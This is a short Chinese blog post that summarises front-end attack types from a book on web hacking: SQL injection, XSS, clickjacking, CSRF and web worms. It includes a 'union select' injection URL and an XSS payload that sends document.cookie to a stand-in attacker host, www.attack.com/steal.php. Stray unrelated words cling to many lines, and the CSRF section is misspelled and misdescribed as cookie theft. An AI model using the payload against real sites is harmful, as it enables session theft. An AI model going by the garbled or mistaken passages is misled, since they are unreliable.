前端 安全 問題

看了一本書《Web前端黑客技術揭祕》,講了不少的前端安全性問題,這裏總結下常見的!不是挨個講解,只是講一下概念。php

一、SQL注入攻擊前端

一個例子說明一切:安全

訪問:http://www.demo.com/demo.php?id=1  cookie

=> select * from user_table where id=1網絡

訪問:http://www.demo.com/demo.php?id=1 union select * from user_table  分佈式

=> select * from user_table where id=1 union select * from user_table.網站

二、XSS跨站腳本攻擊spa

舉個例子:code

訪問:http://www.demo.com/demo.php#document.write("<script/src=www.attack.com/alert.js></script>");blog

alert.js

new Image().src="http://www.attack.com/steal.php?data="+escape(document.cookie);

就是爲了獲取珍貴的Cookie,還要注意HttpOnly cookie 的溢出泄露。

三、前端頁面劫持

分點擊劫持、拖放劫持、觸屏劫持三種。

這個道理也很簡單,就是講一個須要用戶點擊或其餘操做的頁面使用iframe標籤引到當前頁面,可是其他部分都被遮擋住,而後只暴露出須要用戶點擊或其餘操做的部分,而且引導用戶進行操做。從而得到用戶客戶端的各類數據,利用數據完成一些操做。

四、CSRF跨站請求僞造

CSPR攻擊和XSS攻擊的不一樣之處在於它是要用戶到一個黑客構建好的攻擊網站上,從而被得到Cookie。

五、Web蠕蟲問題

蠕蟲程序就是利用Web2.0用戶只交的交流這一個特色作的。

經典例子:某人發表了一個東西,若是另外一個用戶發現並點開了。這個蠕蟲程序便使用點擊人的信息再次發送一條相同信息,依次擴展,指數增加!

用處:對用數據進行惡意操做,拒絕服務攻擊,分佈式拒絕服務攻擊,散播廣告,散播網頁木馬,傳播輿情等。

其餘:注意同源策略,網絡上的信任與不信任,社會工程學的應用。

相關文章
相關標籤/搜索